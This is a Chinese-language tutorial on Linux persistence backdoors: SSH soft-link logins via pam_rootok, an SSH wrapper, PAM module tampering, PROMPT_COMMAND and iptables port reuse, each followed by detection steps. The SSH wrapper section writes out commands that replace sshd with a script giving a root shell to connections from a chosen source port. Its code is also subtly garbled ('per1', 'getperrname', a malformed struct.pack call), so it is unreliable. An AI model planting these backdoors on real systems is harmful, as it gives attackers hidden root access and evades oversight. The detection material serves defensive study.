Linux主机持久化技术
1.SSH软连接后门
SSH服务允许通过PAM进行认证,关键文件:sshd_config;确保UserPAM的值为YES 我们可以看一下/etc/ssh/sshd_config的配置,ssh是客户端配置,sshd是服务端配置
如上可以知道这个是允许PAM认证的 在linux中存在模块pam_rootok.so,该模块允许uid为0的用户可以直接通过认证而不需要输入正缺的用户名和密码,就是说root不需要正确用户名和密码就可以登录 PAM模块使用/etc/pam.d下的文件来管理程序的认证方式,党对应程序的文件中调用了pam_rootok.so时,该程序可以用来生成pam后门
排查文件中是否存在pam_rootok这个模块
这四个都可以用来生成软连接后门的 例如,创建软连接,指向一个usr/sbin/sshd的文件软连接,名称/tmp/su;执行软连接文件,开启12345端口的监听
然后我们查看tmp目录就可以看到这个软连接了,权限是777
利用软连接后门,使用ssh登录时,指定端口为12345,输入任意密码即可登录
2.排查操作 当攻击者正在连接的时候,我们可以通过netstat -anptu查看网络连接判断后门
通过ps -ef来排查
检查登录日志,ubuntu的系统登录日志为auth.log,centos为secure
正常的ssh登录是ssh session。而这个确是su sessioin说明是有问题的
软链接后门的条件是开启啦pam_rootok模块
2.SSH Wrapper后门
原理是:创建SSH Wrapper后门,sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端口进行判断
cd /usr/sbin/
mv sshd ../bin/
echo "#!/usr/bin/per1">sshd
echo 'exec "/bin/sh" if(getperrname(STDIN)=~/^..4A);'>>sshd //..4A是一个13377编码的端口号
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,'>>sshd
chmod u+x sshd
/etc/init.d/sshd restart
使用socat远程连接
socat STDIO TCP4:10.20.125.57:22,sourceport=13377
端口指定方法
import struct
print repr(struct.pack('>I6',13377))
为什么要从/usr/sbin移动到bin呢,因为linux在执行程序的时候会按照echo $PATH输出的顺序进行查找,然后首先查找的应该是bin而不是sbin
排查方式,which sshd 然后cat sshd
stat sshd netstat -antpu 特点是从日志中无法看到相应的内容
3.PAM后门
PAM是由sun提出的一种认证机制,它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活的根据需要给不通的服务配置不通的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段 实际上就是承担了服务和应用程序之间的一个接口
pam模块,在/etc/pam.d下,与服务名称相对应的文件即为该服务的pam验证文件,比如sshd为sshd服务的验证规则
在/lib/security下,为pam会调用的模块,pam后门通常是对pam_unix.so模块进行利用,该模块的auth类型为提示用户输入密码,并与/etc/shadow文件相对比,匹配返回0(PAM_SUCCESS) dpkg -s libpam-modules | grep -i version //ubunt&debain查看pam版本 rpm -qa | grep pam //查看centos的pam版本
下载对应的源码包
进入对应的路径下,添加或修改代码
之后需要进行编译,在ubuntu中需要安装两个依赖
排查: 1.检查pam.so文件的时间 2.使用IDA进行分析,查看类似密码的痕迹 3.排查文件的内容
4.bash的PROMPT_COMMAND
在Linux中,bash提供了一个环境变量PROMPT_COMMAND,这个环境变量的内容会在每条shell中的命令执行结束后,下一个shell返回前执行,通常情况下,运维人员会用该环境变量来记录每个用户执行命令的时间,IP等信息 在攻击者的工作中,则可以利用该环境变量的特性,进行权限维持 第一个是一次性,第二个是持久化的,第二个写入到/etc/profile中即可实现
连接方式可以通过nc进行连接 排查可以通过echo $PATH或者检查/etc/profile和.bash_profile的内容 通过netstat -anput可以看到有一个对外连接是python的,这个就是后门,0.0.0.0是对外任意ip地址都可以连接,是模糊匹配
5.iptables的端口服用
iptables实现对数据包的过滤和nat转换功能,底层基于Netfilter实现,netfilter是出于内核空间,由信息包过滤表组成,而iptables是处于用户空间,实现对信息包过滤表中规则的插入,删除和修改
netfilter在ring0级别,CPU运行的最高级别,iptables在ring3级别CPU最低级别
iptables由表,链,规则组成
iptabels的5中表
filter表 用于过滤
nat表 地址转换,改变数据包的源地址或目标地址
mangle表 修改ip包的头部信息
raw表 不经过状态追踪机制,通常是为了不让iptables做数据包的链跟踪处理,提高性能
security表 在数据包中加入SElinux功能